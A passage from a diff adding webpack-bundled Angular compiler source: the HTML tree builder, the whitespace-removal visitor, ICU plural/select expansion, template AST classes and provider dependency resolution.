} + if (this._peek.type === TokenType.ATTR_VALUE) { + var valueToken = this._advance(); + value = valueToken.parts[0]; + end = valueToken.sourceSpan.end; + valueSpan = valueToken.sourceSpan; + } + if (this._peek.type === TokenType.ATTR_QUOTE) { + var quoteToken = this._advance(); + end = quoteToken.sourceSpan.end; + } + return new Attribute(fullName, value, new ParseSourceSpan(attrName.sourceSpan.start, end), valueSpan); + }; + _TreeBuilder.prototype._getParentElement = function () { + return this._elementStack.length > 0 ? this._elementStack[this._elementStack.length - 1] : null; + }; + /** + * Returns the parent in the DOM and the container. + * + * `` elements are skipped as they are not rendered as DOM element. + */ + _TreeBuilder.prototype._getParentElementSkippingContainers = function () { + var container = null; + for (var i = this._elementStack.length - 1; i >= 0; i--) { + if (!isNgContainer(this._elementStack[i].name)) { + return { parent: this._elementStack[i], container: container }; + } + container = this._elementStack[i]; + } + return { parent: null, container: container }; + }; + _TreeBuilder.prototype._addToParent = function (node) { + var parent = this._getParentElement(); + if (parent != null) { + parent.children.push(node); + } + else { + this._rootNodes.push(node); + } + }; + /** + * Insert a node between the parent and the container. + * When no container is given, the node is appended as a child of the parent. + * Also updates the element stack accordingly. + * + * @internal + */ + _TreeBuilder.prototype._insertBeforeContainer = function (parent, container, node) { + if (!container) { + this._addToParent(node); + this._elementStack.push(node); + } + else { + if (parent) { + // replace the container with the new node in the children + var index = parent.children.indexOf(container); + parent.children[index] = node; + } + else { + this._rootNodes.push(node); + } + node.children.push(container); + this._elementStack.splice(this._elementStack.indexOf(container), 0, node); + } + }; + _TreeBuilder.prototype._getElementFullName = function (prefix, localName, parentElement) { + if (prefix === '') { + prefix = this.getTagDefinition(localName).implicitNamespacePrefix || ''; + if (prefix === '' && parentElement != null) { + prefix = getNsPrefix(parentElement.name); + } + } + return mergeNsAndName(prefix, localName); + }; + return _TreeBuilder; +}()); +function lastOnStack(stack, element) { + return stack.length > 0 && stack[stack.length - 1] === element; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var HtmlParser = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(HtmlParser, _super); + function HtmlParser() { + return _super.call(this, getHtmlTagDefinition) || this; + } + HtmlParser.prototype.parse = function (source, url, options) { + return _super.prototype.parse.call(this, source, url, options); + }; + return HtmlParser; +}(Parser)); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var PRESERVE_WS_ATTR_NAME = 'ngPreserveWhitespaces'; +var SKIP_WS_TRIM_TAGS = new Set(['pre', 'template', 'textarea', 'script', 'style']); +// Equivalent to \s with \u00a0 (non-breaking space) excluded. +// Based on https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp +var WS_CHARS = ' \f\n\r\t\v\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff'; +var NO_WS_REGEXP = new RegExp("[^" + WS_CHARS + "]"); +var WS_REPLACE_REGEXP = new RegExp("[" + WS_CHARS + "]{2,}", 'g'); +function hasPreserveWhitespacesAttr(attrs) { + return attrs.some(function (attr) { return attr.name === PRESERVE_WS_ATTR_NAME; }); +} +/** + * Angular Dart introduced &ngsp; as a placeholder for non-removable space, see: + * https://github.com/dart-lang/angular/blob/0bb611387d29d65b5af7f9d2515ab571fd3fbee4/_tests/test/compiler/preserve_whitespace_test.dart#L25-L32 + * In Angular Dart &ngsp; is converted to the 0xE500 PUA (Private Use Areas) unicode character + * and later on replaced by a space. We are re-implementing the same idea here. + */ +function replaceNgsp(value) { + // lexer is replacing the &ngsp; pseudo-entity with NGSP_UNICODE + return value.replace(new RegExp(NGSP_UNICODE, 'g'), ' '); +} +/** + * This visitor can walk HTML parse tree and remove / trim text nodes using the following rules: + * - consider spaces, tabs and new lines as whitespace characters; + * - drop text nodes consisting of whitespace characters only; + * - for all other text nodes replace consecutive whitespace characters with one space; + * - convert &ngsp; pseudo-entity to a single space; + * + * Removal and trimming of whitespaces have positive performance impact (less code to generate + * while compiling templates, faster view creation). At the same time it can be "destructive" + * in some cases (whitespaces can influence layout). Because of the potential of breaking layout + * this visitor is not activated by default in Angular 5 and people need to explicitly opt-in for + * whitespace removal. The default option for whitespace removal will be revisited in Angular 6 + * and might be changed to "on" by default. + */ +var WhitespaceVisitor = /** @class */ (function () { + function WhitespaceVisitor() { + } + WhitespaceVisitor.prototype.visitElement = function (element, context) { + if (SKIP_WS_TRIM_TAGS.has(element.name) || hasPreserveWhitespacesAttr(element.attrs)) { + // don't descent into elements where we need to preserve whitespaces + // but still visit all attributes to eliminate one used as a market to preserve WS + return new Element$1(element.name, visitAll$1(this, element.attrs), element.children, element.sourceSpan, element.startSourceSpan, element.endSourceSpan, element.i18n); + } + return new Element$1(element.name, element.attrs, visitAll$1(this, element.children), element.sourceSpan, element.startSourceSpan, element.endSourceSpan, element.i18n); + }; + WhitespaceVisitor.prototype.visitAttribute = function (attribute, context) { + return attribute.name !== PRESERVE_WS_ATTR_NAME ? attribute : null; + }; + WhitespaceVisitor.prototype.visitText = function (text, context) { + var isNotBlank = text.value.match(NO_WS_REGEXP); + if (isNotBlank) { + return new Text$3(replaceNgsp(text.value).replace(WS_REPLACE_REGEXP, ' '), text.sourceSpan, text.i18n); + } + return null; + }; + WhitespaceVisitor.prototype.visitComment = function (comment, context) { return comment; }; + WhitespaceVisitor.prototype.visitExpansion = function (expansion, context) { return expansion; }; + WhitespaceVisitor.prototype.visitExpansionCase = function (expansionCase, context) { return expansionCase; }; + return WhitespaceVisitor; +}()); +function removeWhitespaces(htmlAstWithErrors) { + return new ParseTreeResult(visitAll$1(new WhitespaceVisitor(), htmlAstWithErrors.rootNodes), htmlAstWithErrors.errors); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +// http://cldr.unicode.org/index/cldr-spec/plural-rules +var PLURAL_CASES = ['zero', 'one', 'two', 'few', 'many', 'other']; +/** + * Expands special forms into elements. + * + * For example, + * + * ``` + * { messages.length, plural, + * =0 {zero} + * =1 {one} + * other {more than one} + * } + * ``` + * + * will be expanded into + * + * ``` + * + * zero + * one + * more than one + * + * ``` + */ +function expandNodes(nodes) { + var expander = new _Expander(); + return new ExpansionResult(visitAll$1(expander, nodes), expander.isExpanded, expander.errors); +} +var ExpansionResult = /** @class */ (function () { + function ExpansionResult(nodes, expanded, errors) { + this.nodes = nodes; + this.expanded = expanded; + this.errors = errors; + } + return ExpansionResult; +}()); +var ExpansionError = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(ExpansionError, _super); + function ExpansionError(span, errorMsg) { + return _super.call(this, span, errorMsg) || this; + } + return ExpansionError; +}(ParseError)); +/** + * Expand expansion forms (plural, select) to directives + * + * @internal + */ +var _Expander = /** @class */ (function () { + function _Expander() { + this.isExpanded = false; + this.errors = []; + } + _Expander.prototype.visitElement = function (element, context) { + return new Element$1(element.name, element.attrs, visitAll$1(this, element.children), element.sourceSpan, element.startSourceSpan, element.endSourceSpan); + }; + _Expander.prototype.visitAttribute = function (attribute, context) { return attribute; }; + _Expander.prototype.visitText = function (text, context) { return text; }; + _Expander.prototype.visitComment = function (comment, context) { return comment; }; + _Expander.prototype.visitExpansion = function (icu, context) { + this.isExpanded = true; + return icu.type == 'plural' ? _expandPluralForm(icu, this.errors) : + _expandDefaultForm(icu, this.errors); + }; + _Expander.prototype.visitExpansionCase = function (icuCase, context) { + throw new Error('Should not be reached'); + }; + return _Expander; +}()); +// Plural forms are expanded to `NgPlural` and `NgPluralCase`s +function _expandPluralForm(ast, errors) { + var children = ast.cases.map(function (c) { + if (PLURAL_CASES.indexOf(c.value) == -1 && !c.value.match(/^=\d+$/)) { + errors.push(new ExpansionError(c.valueSourceSpan, "Plural cases should be \"=\" or one of " + PLURAL_CASES.join(", "))); + } + var expansionResult = expandNodes(c.expression); + errors.push.apply(errors, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(expansionResult.errors)); + return new Element$1("ng-template", [new Attribute('ngPluralCase', "" + c.value, c.valueSourceSpan)], expansionResult.nodes, c.sourceSpan, c.sourceSpan, c.sourceSpan); + }); + var switchAttr = new Attribute('[ngPlural]', ast.switchValue, ast.switchValueSourceSpan); + return new Element$1('ng-container', [switchAttr], children, ast.sourceSpan, ast.sourceSpan, ast.sourceSpan); +} +// ICU messages (excluding plural form) are expanded to `NgSwitch` and `NgSwitchCase`s +function _expandDefaultForm(ast, errors) { + var children = ast.cases.map(function (c) { + var expansionResult = expandNodes(c.expression); + errors.push.apply(errors, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(expansionResult.errors)); + if (c.value === 'other') { + // other is the default case when no values match + return new Element$1("ng-template", [new Attribute('ngSwitchDefault', '', c.valueSourceSpan)], expansionResult.nodes, c.sourceSpan, c.sourceSpan, c.sourceSpan); + } + return new Element$1("ng-template", [new Attribute('ngSwitchCase', "" + c.value, c.valueSourceSpan)], expansionResult.nodes, c.sourceSpan, c.sourceSpan, c.sourceSpan); + }); + var switchAttr = new Attribute('[ngSwitch]', ast.switchValue, ast.switchValueSourceSpan); + return new Element$1('ng-container', [switchAttr], children, ast.sourceSpan, ast.sourceSpan, ast.sourceSpan); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var _a; +/** + * A segment of text within the template. + */ +var TextAst = /** @class */ (function () { + function TextAst(value, ngContentIndex, sourceSpan) { + this.value = value; + this.ngContentIndex = ngContentIndex; + this.sourceSpan = sourceSpan; + } + TextAst.prototype.visit = function (visitor, context) { return visitor.visitText(this, context); }; + return TextAst; +}()); +/** + * A bound expression within the text of a template. + */ +var BoundTextAst = /** @class */ (function () { + function BoundTextAst(value, ngContentIndex, sourceSpan) { + this.value = value; + this.ngContentIndex = ngContentIndex; + this.sourceSpan = sourceSpan; + } + BoundTextAst.prototype.visit = function (visitor, context) { + return visitor.visitBoundText(this, context); + }; + return BoundTextAst; +}()); +/** + * A plain attribute on an element. + */ +var AttrAst = /** @class */ (function () { + function AttrAst(name, value, sourceSpan) { + this.name = name; + this.value = value; + this.sourceSpan = sourceSpan; + } + AttrAst.prototype.visit = function (visitor, context) { return visitor.visitAttr(this, context); }; + return AttrAst; +}()); +var BoundPropertyMapping = (_a = {}, + _a[4 /* Animation */] = 4 /* Animation */, + _a[1 /* Attribute */] = 1 /* Attribute */, + _a[2 /* Class */] = 2 /* Class */, + _a[0 /* Property */] = 0 /* Property */, + _a[3 /* Style */] = 3 /* Style */, + _a); +/** + * A binding for an element property (e.g. `[property]="expression"`) or an animation trigger (e.g. + * `[@trigger]="stateExp"`) + */ +var BoundElementPropertyAst = /** @class */ (function () { + function BoundElementPropertyAst(name, type, securityContext, value, unit, sourceSpan) { + this.name = name; + this.type = type; + this.securityContext = securityContext; + this.value = value; + this.unit = unit; + this.sourceSpan = sourceSpan; + this.isAnimation = this.type === 4 /* Animation */; + } + BoundElementPropertyAst.fromBoundProperty = function (prop) { + var type = BoundPropertyMapping[prop.type]; + return new BoundElementPropertyAst(prop.name, type, prop.securityContext, prop.value, prop.unit, prop.sourceSpan); + }; + BoundElementPropertyAst.prototype.visit = function (visitor, context) { + return visitor.visitElementProperty(this, context); + }; + return BoundElementPropertyAst; +}()); +/** + * A binding for an element event (e.g. `(event)="handler()"`) or an animation trigger event (e.g. + * `(@trigger.phase)="callback($event)"`). + */ +var BoundEventAst = /** @class */ (function () { + function BoundEventAst(name, target, phase, handler, sourceSpan, handlerSpan) { + this.name = name; + this.target = target; + this.phase = phase; + this.handler = handler; + this.sourceSpan = sourceSpan; + this.handlerSpan = handlerSpan; + this.fullName = BoundEventAst.calcFullName(this.name, this.target, this.phase); + this.isAnimation = !!this.phase; + } + BoundEventAst.calcFullName = function (name, target, phase) { + if (target) { + return target + ":" + name; + } + if (phase) { + return "@" + name + "." + phase; + } + return name; + }; + BoundEventAst.fromParsedEvent = function (event) { + var target = event.type === 0 /* Regular */ ? event.targetOrPhase : null; + var phase = event.type === 1 /* Animation */ ? event.targetOrPhase : null; + return new BoundEventAst(event.name, target, phase, event.handler, event.sourceSpan, event.handlerSpan); + }; + BoundEventAst.prototype.visit = function (visitor, context) { + return visitor.visitEvent(this, context); + }; + return BoundEventAst; +}()); +/** + * A reference declaration on an element (e.g. `let someName="expression"`). + */ +var ReferenceAst = /** @class */ (function () { + function ReferenceAst(name, value, originalValue, sourceSpan) { + this.name = name; + this.value = value; + this.originalValue = originalValue; + this.sourceSpan = sourceSpan; + } + ReferenceAst.prototype.visit = function (visitor, context) { + return visitor.visitReference(this, context); + }; + return ReferenceAst; +}()); +/** + * A variable declaration on a (e.g. `var-someName="someLocalName"`). + */ +var VariableAst = /** @class */ (function () { + function VariableAst(name, value, sourceSpan) { + this.name = name; + this.value = value; + this.sourceSpan = sourceSpan; + } + VariableAst.fromParsedVariable = function (v) { + return new VariableAst(v.name, v.value, v.sourceSpan); + }; + VariableAst.prototype.visit = function (visitor, context) { + return visitor.visitVariable(this, context); + }; + return VariableAst; +}()); +/** + * An element declaration in a template. + */ +var ElementAst = /** @class */ (function () { + function ElementAst(name, attrs, inputs, outputs, references, directives, providers, hasViewContainer, queryMatches, children, ngContentIndex, sourceSpan, endSourceSpan) { + this.name = name; + this.attrs = attrs; + this.inputs = inputs; + this.outputs = outputs; + this.references = references; + this.directives = directives; + this.providers = providers; + this.hasViewContainer = hasViewContainer; + this.queryMatches = queryMatches; + this.children = children; + this.ngContentIndex = ngContentIndex; + this.sourceSpan = sourceSpan; + this.endSourceSpan = endSourceSpan; + } + ElementAst.prototype.visit = function (visitor, context) { + return visitor.visitElement(this, context); + }; + return ElementAst; +}()); +/** + * A `` element included in an Angular template. + */ +var EmbeddedTemplateAst = /** @class */ (function () { + function EmbeddedTemplateAst(attrs, outputs, references, variables, directives, providers, hasViewContainer, queryMatches, children, ngContentIndex, sourceSpan) { + this.attrs = attrs; + this.outputs = outputs; + this.references = references; + this.variables = variables; + this.directives = directives; + this.providers = providers; + this.hasViewContainer = hasViewContainer; + this.queryMatches = queryMatches; + this.children = children; + this.ngContentIndex = ngContentIndex; + this.sourceSpan = sourceSpan; + } + EmbeddedTemplateAst.prototype.visit = function (visitor, context) { + return visitor.visitEmbeddedTemplate(this, context); + }; + return EmbeddedTemplateAst; +}()); +/** + * A directive property with a bound value (e.g. `*ngIf="condition"). + */ +var BoundDirectivePropertyAst = /** @class */ (function () { + function BoundDirectivePropertyAst(directiveName, templateName, value, sourceSpan) { + this.directiveName = directiveName; + this.templateName = templateName; + this.value = value; + this.sourceSpan = sourceSpan; + } + BoundDirectivePropertyAst.prototype.visit = function (visitor, context) { + return visitor.visitDirectiveProperty(this, context); + }; + return BoundDirectivePropertyAst; +}()); +/** + * A directive declared on an element. + */ +var DirectiveAst = /** @class */ (function () { + function DirectiveAst(directive, inputs, hostProperties, hostEvents, contentQueryStartId, sourceSpan) { + this.directive = directive; + this.inputs = inputs; + this.hostProperties = hostProperties; + this.hostEvents = hostEvents; + this.contentQueryStartId = contentQueryStartId; + this.sourceSpan = sourceSpan; + } + DirectiveAst.prototype.visit = function (visitor, context) { + return visitor.visitDirective(this, context); + }; + return DirectiveAst; +}()); +/** + * A provider declared on an element + */ +var ProviderAst = /** @class */ (function () { + function ProviderAst(token, multiProvider, eager, providers, providerType, lifecycleHooks, sourceSpan, isModule) { + this.token = token; + this.multiProvider = multiProvider; + this.eager = eager; + this.providers = providers; + this.providerType = providerType; + this.lifecycleHooks = lifecycleHooks; + this.sourceSpan = sourceSpan; + this.isModule = isModule; + } + ProviderAst.prototype.visit = function (visitor, context) { + // No visit method in the visitor for now... + return null; + }; + return ProviderAst; +}()); +var ProviderAstType; +(function (ProviderAstType) { + ProviderAstType[ProviderAstType["PublicService"] = 0] = "PublicService"; + ProviderAstType[ProviderAstType["PrivateService"] = 1] = "PrivateService"; + ProviderAstType[ProviderAstType["Component"] = 2] = "Component"; + ProviderAstType[ProviderAstType["Directive"] = 3] = "Directive"; + ProviderAstType[ProviderAstType["Builtin"] = 4] = "Builtin"; +})(ProviderAstType || (ProviderAstType = {})); +/** + * Position where content is to be projected (instance of `` in a template). + */ +var NgContentAst = /** @class */ (function () { + function NgContentAst(index, ngContentIndex, sourceSpan) { + this.index = index; + this.ngContentIndex = ngContentIndex; + this.sourceSpan = sourceSpan; + } + NgContentAst.prototype.visit = function (visitor, context) { + return visitor.visitNgContent(this, context); + }; + return NgContentAst; +}()); +/** + * A visitor that accepts each node but doesn't do anything. It is intended to be used + * as the base class for a visitor that is only interested in a subset of the node types. + */ +var NullTemplateVisitor = /** @class */ (function () { + function NullTemplateVisitor() { + } + NullTemplateVisitor.prototype.visitNgContent = function (ast, context) { }; + NullTemplateVisitor.prototype.visitEmbeddedTemplate = function (ast, context) { }; + NullTemplateVisitor.prototype.visitElement = function (ast, context) { }; + NullTemplateVisitor.prototype.visitReference = function (ast, context) { }; + NullTemplateVisitor.prototype.visitVariable = function (ast, context) { }; + NullTemplateVisitor.prototype.visitEvent = function (ast, context) { }; + NullTemplateVisitor.prototype.visitElementProperty = function (ast, context) { }; + NullTemplateVisitor.prototype.visitAttr = function (ast, context) { }; + NullTemplateVisitor.prototype.visitBoundText = function (ast, context) { }; + NullTemplateVisitor.prototype.visitText = function (ast, context) { }; + NullTemplateVisitor.prototype.visitDirective = function (ast, context) { }; + NullTemplateVisitor.prototype.visitDirectiveProperty = function (ast, context) { }; + return NullTemplateVisitor; +}()); +/** + * Base class that can be used to build a visitor that visits each node + * in an template ast recursively. + */ +var RecursiveTemplateAstVisitor = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(RecursiveTemplateAstVisitor, _super); + function RecursiveTemplateAstVisitor() { + return _super.call(this) || this; + } + // Nodes with children + RecursiveTemplateAstVisitor.prototype.visitEmbeddedTemplate = function (ast, context) { + return this.visitChildren(context, function (visit) { + visit(ast.attrs); + visit(ast.references); + visit(ast.variables); + visit(ast.directives); + visit(ast.providers); + visit(ast.children); + }); + }; + RecursiveTemplateAstVisitor.prototype.visitElement = function (ast, context) { + return this.visitChildren(context, function (visit) { + visit(ast.attrs); + visit(ast.inputs); + visit(ast.outputs); + visit(ast.references); + visit(ast.directives); + visit(ast.providers); + visit(ast.children); + }); + }; + RecursiveTemplateAstVisitor.prototype.visitDirective = function (ast, context) { + return this.visitChildren(context, function (visit) { + visit(ast.inputs); + visit(ast.hostProperties); + visit(ast.hostEvents); + }); + }; + RecursiveTemplateAstVisitor.prototype.visitChildren = function (context, cb) { + var results = []; + var t = this; + function visit(children) { + if (children && children.length) + results.push(templateVisitAll(t, children, context)); + } + cb(visit); + return Array.prototype.concat.apply([], results); + }; + return RecursiveTemplateAstVisitor; +}(NullTemplateVisitor)); +/** + * Visit every node in a list of {@link TemplateAst}s with the given {@link TemplateAstVisitor}. + */ +function templateVisitAll(visitor, asts, context) { + if (context === void 0) { context = null; } + var result = []; + var visit = visitor.visit ? + function (ast) { return visitor.visit(ast, context) || ast.visit(visitor, context); } : + function (ast) { return ast.visit(visitor, context); }; + asts.forEach(function (ast) { + var astResult = visit(ast); + if (astResult) { + result.push(astResult); + } + }); + return result; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var ProviderError = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(ProviderError, _super); + function ProviderError(message, span) { + return _super.call(this, span, message) || this; + } + return ProviderError; +}(ParseError)); +var ProviderViewContext = /** @class */ (function () { + function ProviderViewContext(reflector, component) { + var _this = this; + this.reflector = reflector; + this.component = component; + this.errors = []; + this.viewQueries = _getViewQueries(component); + this.viewProviders = new Map(); + component.viewProviders.forEach(function (provider) { + if (_this.viewProviders.get(tokenReference(provider.token)) == null) { + _this.viewProviders.set(tokenReference(provider.token), true); + } + }); + } + return ProviderViewContext; +}()); +var ProviderElementContext = /** @class */ (function () { + function ProviderElementContext(viewContext, _parent, _isViewRoot, _directiveAsts, attrs, refs, isTemplate, contentQueryStartId, _sourceSpan) { + var _this = this; + this.viewContext = viewContext; + this._parent = _parent; + this._isViewRoot = _isViewRoot; + this._directiveAsts = _directiveAsts; + this._sourceSpan = _sourceSpan; + this._transformedProviders = new Map(); + this._seenProviders = new Map(); + this._queriedTokens = new Map(); + this.transformedHasViewContainer = false; + this._attrs = {}; + attrs.forEach(function (attrAst) { return _this._attrs[attrAst.name] = attrAst.value; }); + var directivesMeta = _directiveAsts.map(function (directiveAst) { return directiveAst.directive; }); + this._allProviders = + _resolveProvidersFromDirectives(directivesMeta, _sourceSpan, viewContext.errors); + this._contentQueries = _getContentQueries(contentQueryStartId, directivesMeta); + Array.from(this._allProviders.values()).forEach(function (provider) { + _this._addQueryReadsTo(provider.token, provider.token, _this._queriedTokens); + }); + if (isTemplate) { + var templateRefId = createTokenForExternalReference(this.viewContext.reflector, Identifiers.TemplateRef); + this._addQueryReadsTo(templateRefId, templateRefId, this._queriedTokens); + } + refs.forEach(function (refAst) { + var defaultQueryValue = refAst.value || + createTokenForExternalReference(_this.viewContext.reflector, Identifiers.ElementRef); + _this._addQueryReadsTo({ value: refAst.name }, defaultQueryValue, _this._queriedTokens); + }); + if (this._queriedTokens.get(this.viewContext.reflector.resolveExternalReference(Identifiers.ViewContainerRef))) { + this.transformedHasViewContainer = true; + } + // create the providers that we know are eager first + Array.from(this._allProviders.values()).forEach(function (provider) { + var eager = provider.eager || _this._queriedTokens.get(tokenReference(provider.token)); + if (eager) { + _this._getOrCreateLocalProvider(provider.providerType, provider.token, true); + } + }); + } + ProviderElementContext.prototype.afterElement = function () { + var _this = this; + // collect lazy providers + Array.from(this._allProviders.values()).forEach(function (provider) { + _this._getOrCreateLocalProvider(provider.providerType, provider.token, false); + }); + }; + Object.defineProperty(ProviderElementContext.prototype, "transformProviders", { + get: function () { + // Note: Maps keep their insertion order. + var lazyProviders = []; + var eagerProviders = []; + this._transformedProviders.forEach(function (provider) { + if (provider.eager) { + eagerProviders.push(provider); + } + else { + lazyProviders.push(provider); + } + }); + return lazyProviders.concat(eagerProviders); + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(ProviderElementContext.prototype, "transformedDirectiveAsts", { + get: function () { + var sortedProviderTypes = this.transformProviders.map(function (provider) { return provider.token.identifier; }); + var sortedDirectives = this._directiveAsts.slice(); + sortedDirectives.sort(function (dir1, dir2) { return sortedProviderTypes.indexOf(dir1.directive.type) - + sortedProviderTypes.indexOf(dir2.directive.type); }); + return sortedDirectives; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(ProviderElementContext.prototype, "queryMatches", { + get: function () { + var allMatches = []; + this._queriedTokens.forEach(function (matches) { allMatches.push.apply(allMatches, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(matches)); }); + return allMatches; + }, + enumerable: true, + configurable: true + }); + ProviderElementContext.prototype._addQueryReadsTo = function (token, defaultValue, queryReadTokens) { + this._getQueriesFor(token).forEach(function (query) { + var queryValue = query.meta.read || defaultValue; + var tokenRef = tokenReference(queryValue); + var queryMatches = queryReadTokens.get(tokenRef); + if (!queryMatches) { + queryMatches = []; + queryReadTokens.set(tokenRef, queryMatches); + } + queryMatches.push({ queryId: query.queryId, value: queryValue }); + }); + }; + ProviderElementContext.prototype._getQueriesFor = function (token) { + var result = []; + var currentEl = this; + var distance = 0; + var queries; + while (currentEl !== null) { + queries = currentEl._contentQueries.get(tokenReference(token)); + if (queries) { + result.push.apply(result, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(queries.filter(function (query) { return query.meta.descendants || distance <= 1; }))); + } + if (currentEl._directiveAsts.length > 0) { + distance++; + } + currentEl = currentEl._parent; + } + queries = this.viewContext.viewQueries.get(tokenReference(token)); + if (queries) { + result.push.apply(result, Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])(queries)); + } + return result; + }; + ProviderElementContext.prototype._getOrCreateLocalProvider = function (requestingProviderType, token, eager) { + var _this = this; + var resolvedProvider = this._allProviders.get(tokenReference(token)); + if (!resolvedProvider || ((requestingProviderType === ProviderAstType.Directive || + requestingProviderType === ProviderAstType.PublicService) && + resolvedProvider.providerType === ProviderAstType.PrivateService) || + ((requestingProviderType === ProviderAstType.PrivateService || + requestingProviderType === ProviderAstType.PublicService) && + resolvedProvider.providerType === ProviderAstType.Builtin)) { + return null; + } + var transformedProviderAst = this._transformedProviders.get(tokenReference(token)); + if (transformedProviderAst) { + return transformedProviderAst; + } + if (this._seenProviders.get(tokenReference(token)) != null) { + this.viewContext.errors.push(new ProviderError("Cannot instantiate cyclic dependency! " + tokenName(token), this._sourceSpan)); + return null; + } + this._seenProviders.set(tokenReference(token), true); + var transformedProviders = resolvedProvider.providers.map(function (provider) { + var transformedUseValue = provider.useValue; + var transformedUseExisting = provider.useExisting; + var transformedDeps = undefined; + if (provider.useExisting != null) { + var existingDiDep = _this._getDependency(resolvedProvider.providerType, { token: provider.useExisting }, eager); + if (existingDiDep.token != null) { + transformedUseExisting = existingDiDep.token; + } + else { + transformedUseExisting = null; + transformedUseValue = existingDiDep.value; + } + } + else if (provider.useFactory) { + var deps = provider.deps || provider.useFactory.diDeps; + transformedDeps = + deps.map(function (dep) { return _this._getDependency(resolvedProvider.providerType, dep, eager); }); + } + else if (provider.useClass) { + var deps = provider.deps || provider.useClass.diDeps; + transformedDeps = + deps.map(function (dep) { return _this._getDependency(resolvedProvider.providerType, dep, eager); }); + } + return _transformProvider(provider, { + useExisting: transformedUseExisting, + useValue: transformedUseValue, + deps: transformedDeps + }); + }); + transformedProviderAst = + _transformProviderAst(resolvedProvider, { eager: eager, providers: transformedProviders }); + this._transformedProviders.set(tokenReference(token), transformedProviderAst); + return transformedProviderAst; + }; + ProviderElementContext.prototype._getLocalDependency = function (requestingProviderType, dep, eager) { + if (eager === void 0) { eager = false; } + if (dep.isAttribute) { + var attrValue = this._attrs[dep.token.value]; + return { isValue: true, value: attrValue == null ? null : attrValue }; + } + if (dep.token != null) { + // access builtints + if ((requestingProviderType === ProviderAstType.Directive || + requestingProviderType === ProviderAstType.Component)) { + if (tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.Renderer) || + tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.ElementRef) || + tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.ChangeDetectorRef) || + tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.TemplateRef)) { + return dep; + } + if (tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.ViewContainerRef)) { + this.transformedHasViewContainer = true; + } + } + // access the injector + if (tokenReference(dep.token) === + this.viewContext.reflector.resolveExternalReference(Identifiers.Injector)) { + return dep; + } + // access providers + if (this._getOrCreateLocalProvider(requestingProviderType, dep.token, eager) != null) { + return dep; + } + } + return null; + }; + ProviderElementContext.prototype._getDependency = function (requestingProviderType, dep, eager) { + if (eager === void 0) { eager = false; } + var currElement = this; + var currEager = eager; + var result = null; + if (!dep.isSkipSelf) { + result = this._getLocalDependency(requestingProviderType, dep, eager); + } + if (dep.isSelf) { + if (!result && dep.isOptional) { + result = { isValue: true, value: null }; + } + } + else { + // check parent elements + while (!result && currElement._parent) { + var prevElement = currElement; + currElement = currElement._parent; + if (prevElement._isViewRoot) { + currEager = false; + } + result = currElement._getLocalDependency(ProviderAstType.PublicService, dep, currEager); + } + // check @Host restriction + if (!result) { + if (!dep.isHost || this.viewContext.component.isHost || + this.viewContext.component.type.reference === tokenReference(dep.token) || + this.viewContext.viewProviders.get(tokenReference(dep.token)) != null) { + result = dep; + } + else { + result = dep.isOptional ? { isValue: true, value: null } : null; + } + } + } + if (!result) { + this.viewContext.errors.push(new ProviderError("No provider for " + tokenName(dep.token), this._sourceSpan)); + } + return result; + }; + return ProviderElementContext; +}()); +var NgModuleProviderAnalyzer = /** @class */ (function () { + function NgModuleProviderAnalyzer(reflector, ngModule, extraProviders, sourceSpan) { + var _this = this; + this.reflector = reflector; + this._transformedProviders = new Map(); + this._seenProviders = new Map(); + this._errors = []; + this._allProviders = new Map(); + ngModule.transitiveModule.modules.forEach(function (ngModuleType) { + var ngModuleProvider = { token: { identifier: ngModuleType }, useClass: ngModuleType }; + _resolveProviders([ngModuleProvider], ProviderAstType.PublicService, true, sourceSpan, _this._errors, _this._allProviders, /* isModule */ true); + }); + _resolveProviders(ngModule.transitiveModule.providers.map(function (entry) { return entry.provider; }).concat(extraProviders), ProviderAstType.PublicService, false, sourceSpan, this._errors, this._allProviders, + /* isModule */ false); + } + NgModuleProviderAnalyzer.prototype.parse = function () { + var _this = this; + Array.from(this._allProviders.values()).forEach(function (provider) { + _this._getOrCreateLocalProvider(provider.token, provider.eager); + }); + if (this._errors.length > 0) { + var errorString = this._errors.join('\n'); + throw new Error("Provider parse errors:\n" + errorString); + } + // Note: Maps keep their insertion order. + var lazyProviders = []; + var eagerProviders = []; + this._transformedProviders.forEach(function (provider) { + if (provider.eager) { + eagerProviders.push(provider); + } + else { + lazyProviders.push(provider); + } + }); + return lazyProviders.concat(eagerProviders); + }; + NgModuleProviderAnalyzer.prototype._getOrCreateLocalProvider = function (token, eager) { + var _this = this; + var resolvedProvider = this._allProviders.get(tokenReference(token)); + if 